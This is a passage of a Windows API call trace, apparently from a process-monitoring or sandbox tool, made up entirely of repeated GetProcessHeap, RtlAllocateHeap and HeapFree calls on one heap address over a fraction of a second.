[0063.523] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.523] GetProcessHeap () returned 0x540000 [0063.523] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.523] GetProcessHeap () returned 0x540000 [0063.523] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.523] GetProcessHeap () returned 0x540000 [0063.523] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.523] GetProcessHeap () returned 0x540000 [0063.523] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.523] GetProcessHeap () returned 0x540000 [0063.523] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.523] GetProcessHeap () returned 0x540000 [0063.523] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.523] GetProcessHeap () returned 0x540000 [0063.523] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.523] GetProcessHeap () returned 0x540000 [0063.523] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.523] GetProcessHeap () returned 0x540000 [0063.523] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.523] GetProcessHeap () returned 0x540000 [0063.523] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.523] GetProcessHeap () returned 0x540000 [0063.523] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.523] GetProcessHeap () returned 0x540000 [0063.523] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.523] GetProcessHeap () returned 0x540000 [0063.523] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.523] GetProcessHeap () returned 0x540000 [0063.523] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.523] GetProcessHeap () returned 0x540000 [0063.523] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.523] GetProcessHeap () returned 0x540000 [0063.524] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.524] GetProcessHeap () returned 0x540000 [0063.524] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.524] GetProcessHeap () returned 0x540000 [0063.524] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.524] GetProcessHeap () returned 0x540000 [0063.524] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.524] GetProcessHeap () returned 0x540000 [0063.524] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.524] GetProcessHeap () returned 0x540000 [0063.524] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.524] GetProcessHeap () returned 0x540000 [0063.524] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.524] GetProcessHeap () returned 0x540000 [0063.524] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.524] GetProcessHeap () returned 0x540000 [0063.524] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.524] GetProcessHeap () returned 0x540000 [0063.524] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.524] GetProcessHeap () returned 0x540000 [0063.524] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.524] GetProcessHeap () returned 0x540000 [0063.524] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.524] GetProcessHeap () returned 0x540000 [0063.524] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.524] GetProcessHeap () returned 0x540000 [0063.524] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.524] GetProcessHeap () returned 0x540000 [0063.524] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.524] GetProcessHeap () returned 0x540000 [0063.524] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.524] GetProcessHeap () returned 0x540000 [0063.524] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.524] GetProcessHeap () returned 0x540000 [0063.524] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.524] GetProcessHeap () returned 0x540000 [0063.524] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.524] GetProcessHeap () returned 0x540000 [0063.524] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.524] GetProcessHeap () returned 0x540000 [0063.525] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.525] GetProcessHeap () returned 0x540000 [0063.525] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.525] GetProcessHeap () returned 0x540000 [0063.525] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.525] GetProcessHeap () returned 0x540000 [0063.525] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.525] GetProcessHeap () returned 0x540000 [0063.525] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.525] GetProcessHeap () returned 0x540000 [0063.525] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.525] GetProcessHeap () returned 0x540000 [0063.525] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.525] GetProcessHeap () returned 0x540000 [0063.525] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.525] GetProcessHeap () returned 0x540000 [0063.525] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.525] GetProcessHeap () returned 0x540000 [0063.525] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.525] GetProcessHeap () returned 0x540000 [0063.525] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.525] GetProcessHeap () returned 0x540000 [0063.525] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.525] GetProcessHeap () returned 0x540000 [0063.525] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.525] GetProcessHeap () returned 0x540000 [0063.525] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.525] GetProcessHeap () returned 0x540000 [0063.525] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.525] GetProcessHeap () returned 0x540000 [0063.525] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.525] GetProcessHeap () returned 0x540000 [0063.525] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.525] GetProcessHeap () returned 0x540000 [0063.525] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.525] GetProcessHeap () returned 0x540000 [0063.525] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.525] GetProcessHeap () returned 0x540000 [0063.525] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.525] GetProcessHeap () returned 0x540000 [0063.526] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.526] GetProcessHeap () returned 0x540000 [0063.526] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.526] GetProcessHeap () returned 0x540000 [0063.526] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.526] GetProcessHeap () returned 0x540000 [0063.526] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.526] GetProcessHeap () returned 0x540000 [0063.526] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.526] GetProcessHeap () returned 0x540000 [0063.526] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.526] GetProcessHeap () returned 0x540000 [0063.526] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.526] GetProcessHeap () returned 0x540000 [0063.526] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.526] GetProcessHeap () returned 0x540000 [0063.526] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.526] GetProcessHeap () returned 0x540000 [0063.526] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.526] GetProcessHeap () returned 0x540000 [0063.526] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.526] GetProcessHeap () returned 0x540000 [0063.526] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.526] GetProcessHeap () returned 0x540000 [0063.526] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.526] GetProcessHeap () returned 0x540000 [0063.526] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.526] GetProcessHeap () returned 0x540000 [0063.526] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.526] GetProcessHeap () returned 0x540000 [0063.526] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.526] GetProcessHeap () returned 0x540000 [0063.526] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.526] GetProcessHeap () returned 0x540000 [0063.526] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.526] GetProcessHeap () returned 0x540000 [0063.526] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.526] GetProcessHeap () returned 0x540000 [0063.526] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.526] GetProcessHeap () returned 0x540000 [0063.527] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.527] GetProcessHeap () returned 0x540000 [0063.527] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.527] GetProcessHeap () returned 0x540000 [0063.527] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.527] GetProcessHeap () returned 0x540000 [0063.527] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.527] GetProcessHeap () returned 0x540000 [0063.527] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.527] GetProcessHeap () returned 0x540000 [0063.527] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.527] GetProcessHeap () returned 0x540000 [0063.527] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.527] GetProcessHeap () returned 0x540000 [0063.527] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.527] GetProcessHeap () returned 0x540000 [0063.527] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.527] GetProcessHeap () returned 0x540000 [0063.527] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.527] GetProcessHeap () returned 0x540000 [0063.527] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.527] GetProcessHeap () returned 0x540000 [0063.527] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.527] GetProcessHeap () returned 0x540000 [0063.527] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.527] GetProcessHeap () returned 0x540000 [0063.527] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.527] GetProcessHeap () returned 0x540000 [0063.527] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.527] GetProcessHeap () returned 0x540000 [0063.527] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.527] GetProcessHeap () returned 0x540000 [0063.527] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.527] GetProcessHeap () returned 0x540000 [0063.527] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.527] GetProcessHeap () returned 0x540000 [0063.527] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.527] GetProcessHeap () returned 0x540000 [0063.527] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.527] GetProcessHeap () returned 0x540000 [0063.527] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.528] GetProcessHeap () returned 0x540000 [0063.528] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.528] GetProcessHeap () returned 0x540000 [0063.528] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.528] GetProcessHeap () returned 0x540000 [0063.528] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.528] GetProcessHeap () returned 0x540000 [0063.528] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.528] GetProcessHeap () returned 0x540000 [0063.528] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.528] GetProcessHeap () returned 0x540000 [0063.528] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.528] GetProcessHeap () returned 0x540000 [0063.528] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.528] GetProcessHeap () returned 0x540000 [0063.528] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.528] GetProcessHeap () returned 0x540000 [0063.528] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.528] GetProcessHeap () returned 0x540000 [0063.528] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.528] GetProcessHeap () returned 0x540000 [0063.528] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.528] GetProcessHeap () returned 0x540000 [0063.528] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.528] GetProcessHeap () returned 0x540000 [0063.528] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.528] GetProcessHeap () returned 0x540000 [0063.528] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.528] GetProcessHeap () returned 0x540000 [0063.528] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.528] GetProcessHeap () returned 0x540000 [0063.528] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.528] GetProcessHeap () returned 0x540000 [0063.528] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.528] GetProcessHeap () returned 0x540000 [0063.528] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.528] GetProcessHeap () returned 0x540000 [0063.528] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.528] GetProcessHeap () returned 0x540000 [0063.529] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.529] GetProcessHeap () returned 0x540000 [0063.529] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.529] GetProcessHeap () returned 0x540000 [0063.529] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.529] GetProcessHeap () returned 0x540000 [0063.529] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.529] GetProcessHeap () returned 0x540000 [0063.529] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.529] GetProcessHeap () returned 0x540000 [0063.529] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.529] GetProcessHeap () returned 0x540000 [0063.529] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.529] GetProcessHeap () returned 0x540000 [0063.529] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.529] GetProcessHeap () returned 0x540000 [0063.529] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.529] GetProcessHeap () returned 0x540000 [0063.529] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.529] GetProcessHeap () returned 0x540000 [0063.529] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.529] GetProcessHeap () returned 0x540000 [0063.529] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.529] GetProcessHeap () returned 0x540000 [0063.529] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.529] GetProcessHeap () returned 0x540000 [0063.529] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.529] GetProcessHeap () returned 0x540000 [0063.529] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.529] GetProcessHeap () returned 0x540000 [0063.529] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.529] GetProcessHeap () returned 0x540000 [0063.529] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.585] GetProcessHeap () returned 0x540000 [0063.585] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.585] GetProcessHeap () returned 0x540000 [0063.585] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.585] GetProcessHeap () returned 0x540000 [0063.585] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.585] GetProcessHeap () returned 0x540000 [0063.585] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.585] GetProcessHeap () returned 0x540000 [0063.585] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.585] GetProcessHeap () returned 0x540000 [0063.585] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.585] GetProcessHeap () returned 0x540000 [0063.585] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.585] GetProcessHeap () returned 0x540000 [0063.585] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.585] GetProcessHeap () returned 0x540000 [0063.585] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.585] GetProcessHeap () returned 0x540000 [0063.585] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.585] GetProcessHeap () returned 0x540000 [0063.586] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.586] GetProcessHeap () returned 0x540000 [0063.586] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.586] GetProcessHeap () returned 0x540000 [0063.586] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.586] GetProcessHeap () returned 0x540000 [0063.586] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.586] GetProcessHeap () returned 0x540000 [0063.586] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.586] GetProcessHeap () returned 0x540000 [0063.586] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.586] GetProcessHeap () returned 0x540000 [0063.586] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.586] GetProcessHeap () returned 0x540000 [0063.586] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.586] GetProcessHeap () returned 0x540000 [0063.586] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.586] GetProcessHeap () returned 0x540000 [0063.586] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.586] GetProcessHeap () returned 0x540000 [0063.586] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.586] GetProcessHeap () returned 0x540000 [0063.586] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.586] GetProcessHeap () returned 0x540000 [0063.586] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.586] GetProcessHeap () returned 0x540000 [0063.586] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.586] GetProcessHeap () returned 0x540000 [0063.586] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.586] GetProcessHeap () returned 0x540000 [0063.586] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.586] GetProcessHeap () returned 0x540000 [0063.586] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.586] GetProcessHeap () returned 0x540000 [0063.586] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.586] GetProcessHeap () returned 0x540000 [0063.587] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.587] GetProcessHeap () returned 0x540000 [0063.587] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.587] GetProcessHeap () returned 0x540000 [0063.587] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.587] GetProcessHeap () returned 0x540000 [0063.587] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.587] GetProcessHeap () returned 0x540000 [0063.587] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.587] GetProcessHeap () returned 0x540000 [0063.587] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.587] GetProcessHeap () returned 0x540000 [0063.587] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.587] GetProcessHeap () returned 0x540000 [0063.587] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.587] GetProcessHeap () returned 0x540000 [0063.587] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.587] GetProcessHeap () returned 0x540000 [0063.587] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.587] GetProcessHeap () returned 0x540000 [0063.587] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.587] GetProcessHeap () returned 0x540000 [0063.587] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.587] GetProcessHeap () returned 0x540000 [0063.587] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.587] GetProcessHeap () returned 0x540000 [0063.587] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.587] GetProcessHeap () returned 0x540000 [0063.587] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.587] GetProcessHeap () returned 0x540000 [0063.587] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1dd8 [0063.587] GetProcessHeap () returned 0x540000 [0063.587] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1dd8 | out: hHeap=0x540000) returned 1 [0063.587] GetProcessHeap () returned 0x540000 [0063.587] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 